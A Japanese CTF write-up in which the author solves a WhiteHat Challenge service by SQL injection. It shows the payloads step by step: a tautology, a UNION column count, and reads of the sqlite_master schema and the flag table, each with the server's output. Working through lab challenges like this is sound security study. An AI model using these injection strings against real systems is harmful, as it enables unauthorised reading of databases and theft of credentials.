チーム「Harekaze」のメンバーとしてCTF「WhiteHat Challenge 01」に参加した.わずか1個ではあったものの初めてセキュリティの問題でフラグが取れたので,Writeupを書く.
[Mics 25] Mics001
準備
サーバに接続してフラグを取る問題.とりあえず問題文に示されたサーバに接続を試みた.
$ nc 103.237.98.32 3737 < Inject me if you can > -------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || input name to check pass, ex:linh, trang...:
cowsayとはなかなかに挑発的.どうやら名前となる文字列を入力すれば良いらしい.
とりあえず例示されたものを入力してみた.
linh password: (u'ban anh goi hang',) input name to check pass, ex:linh, trang...: trang password: (u'ban anh locidol',) input name to check pass, ex:linh, trang...:
どうやら名前に対応するパスワードを表示する辞書のようなサービスのようだ.今度は名前の代わりにパスワードを入力してみた.
(u'ban anh goi hang',) Traceback (most recent call last): File "/home/challenge/1/mics001/problem.py", line 29, in <module> c.execute(query) sqlite3.OperationalError: near "ban": syntax error $
するとどうしたことであろうか,サービスは停止してしまった.エラーメッセージを見るに,SQLiteの構文エラーによる停止である.パスワードに含まれるシングルクォートにより構文が変化しエラーを生じたと考えられる.すなわち,このサービスにはSQLインジェクションの脆弱性が存在する.
SQL文の注入
見つかった脆弱性によって,SQL文の構文がどのように変化するか確認しよう.まず,次のような構文を期待する.
SELECT XXX1, XXX2, ... FROM YYY1, YYY2, ... WHERE ZZZ = '??????' AND ...
ここで,XXX1, XXX2, ..., YYY1, YYY2, ..., ZZZはいずれも未知である.また,??????には標準入力より与えた文字列が入ると考える.ここで,??????にあてはまる文字列を,
' OR 1 = 1 --
とすれば, -- 以降はコメントアウトされて無視されるから,SQL文が予想した構文の形をもっていれば,このSQL文は次の形のSQL文と等価となる.
SELECT XXX1, XXX2, ... FROM YYY1, YYY2, ... WHERE ZZZ = '' OR 1 = 1
さらに,1 = 1の部分が恒真だから,
SELECT XXX1, XXX2, ... FROM YYY1, YYY2, ...
と等価になる.つまり,SQL文の結果は,名前についての条件がなくなったものとなる.これを実際に試した.
< Inject me if you can > -------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || input name to check pass, ex:linh, trang...: ' OR 1 = 1 -- password: (u'ban anh goi hang',) input name to check pass, ex:linh, trang...:
うまく構文の形が変化したようだ.
それでは,もう少しこの構文について調べてみよう.具体的には,結果のカラムの数を特定する.SQLのUNION演算子は,左辺と右辺でカラムの数の一致を要求するので,これを使おう.先ほどのSQL文で,??????に入る文字列を
' UNION SELECT NULL --
とすると,SQL文全体では,
SELECT XXX1, XXX2, ... FROM YYY1, YYY2, ... WHERE ZZZ = '' UNION SELECT NULL
と等価になる.このSQL文は,結果のカラムの数が1の場合のみ正しい構文となり,そうでなければエラーとなる.実際に入力して試した.
input name to check pass, ex:linh, trang...: ' UNION SELECT NULL -- password: (None,) input name to check pass, ex:linh, trang...:
構文は正しかったようだ.よって,結果のカラムの数は1と決定し,想定される構文は次のように絞られた.
SELECT XXX1 FROM YYY1, YYY2, ... WHERE ZZZ = '??????' AND ...
システムテーブルへのアクセス
SQLiteで作成されたデータベースはデータベース内のテーブル定義などの情報を格納したシステムテーブルsqlite_masterをもつ.フラグへの手がかりを探すべく,データベースに関する重要な情報をもつsqlite_masterへのアクセスを試みた.sqlite_masterのテーブル定義は既知である.ここでは,テーブル定義をSQLのCREATE TABLE文の形で格納している列sqlの取得を試みる.
' UNION SELECT sql FROM sqlite_master -- password: (u'CREATE TABLE mbbg(name varchar(128),pwd varchar(128))',) input name to check pass, ex:linh, trang...:
これで,データベース内にmbbgというテーブルが存在して,それはnameおよびpwdという列をもつということが分かった.
フラグの取得
存在が明らかとなったテーブルmbbgの内容を確認して,次のような結果を得た.
input name to check pass, ex:linh, trang...: ' UNION SELECT name || pwd FROM mbbg -- password: (u'flagwhatissqlite',) input name to check pass, ex:linh, trang...:
これで,フラグ
whatissqlite
を取得できた.
最後に,このCTFにおけるフラグの形式
WhiteHat{sha1(flag)}
に合わせてSHA1の計算をして,最終的なフラグ
WhiteHat{45fd099cd0e03a6b1e71eb72991edef055f9f393}
を得た.
まとめ
この問題は,SQLインジェクションによるシステムテーブルへのアクセス,情報の窃取を題材にした問題であった.プレースホルダなどによるSQLインジェクション対策や最小権限の原則を守ることの重要性をわかりやすいかたちで体験できる内容であったと思う.この問題はCTFに参加している全チームで一番早く解けた.
補足
この後,
' UNION SELECT GROUP_CONCAT(name || pwd) FROM mbbg --
として,mbbgのすべてのレコードを取得することを試みたが,結果は変化しなかった.つまり,名前の例として示されていたlinh, trangなどについてのデータはテーブルmbbgには格納されていなかった.システムテーブルへのアクセスの結果から,データベース内に存在するテーブルはmbbgのみである.それでは,linhやtrangのデータはどこから来たのであろうか.
これは根拠なき推測に過ぎないが,linh, trangのデータを格納したテーブルは共通表式(SQLのWITH句により利用できる,データベース内に保持されない「使い捨ての」テーブル)により定義されていたのではないか.そう考えれば,システムテーブルに情報のない表を参照してデータを取り出していたことになり,この現象を説明できる.
感想
思うようにセキュリティの勉強が進まず悩んでいた中での参加であったが,今回こうして初めてWriteupを書くことができたことをうれしく思う.これからもっと勉強を続けて,もっとCTFができるようになりたいと思えた.